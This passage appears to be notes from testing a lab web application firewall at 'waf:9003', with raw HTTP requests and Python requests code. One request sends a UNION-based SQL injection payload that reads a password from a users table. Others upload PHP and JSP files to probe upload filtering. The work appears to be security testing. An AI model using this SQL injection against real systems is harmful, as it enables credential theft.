    'Origin': 'http://waf:9003',
    'Referer': 'http://waf:9003/',
    # 'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7',
    'Connection': 'close',
}

json_data = {
    'id': '1 UNION SELECT null, password FROM users WHERE id = 1 -- ',
}

response = requests.post('http://waf:9003/sqli_json', headers=headers, json=json_data, verify=False)

# Note: json_data will not be serialized by requests
# exactly as it was in the original request.
```

```
#data = '{"id": "1 UNION SELECT null, password FROM users WHERE id = 1 --"}'
#response = requests.post('http://waf:9003/sqli_json', headers=headers, data=data, verify=False)
```

UPLOAD

POST

```
POST /upload HTTP/1.1
Host: waf:9003
Content-Length: 180
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://waf:9003
Content-Type: multipart/form-data; boundary=-----WebKitFormBoundaryIABEqLYAQTic2F4P
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sign
ed-exchange;v=b3;q=0.7
Referer: http://waf:9003/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Connection: close

-----WebKitFormBoundaryIABEqLYAQTic2F4P
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: text/php

123
-----WebKitFormBoundaryIABEqLYAQTic2F4P--
```

```
import requests

headers = {
    'Host': 'waf:9003',
    # 'Content-Length': '180',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'Origin': 'http://waf:9003',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.0.0 Safari/537.36',
    'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.7',
    'Referer': 'http://waf:9003/',
    # 'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7',
    'Connection': 'close',
}

files = {
    'file': ('1.jsp', '123', 'application/octet-stream'),
}

response = requests.post('http://waf:9003/upload', headers=headers, files=files, verify=False)
```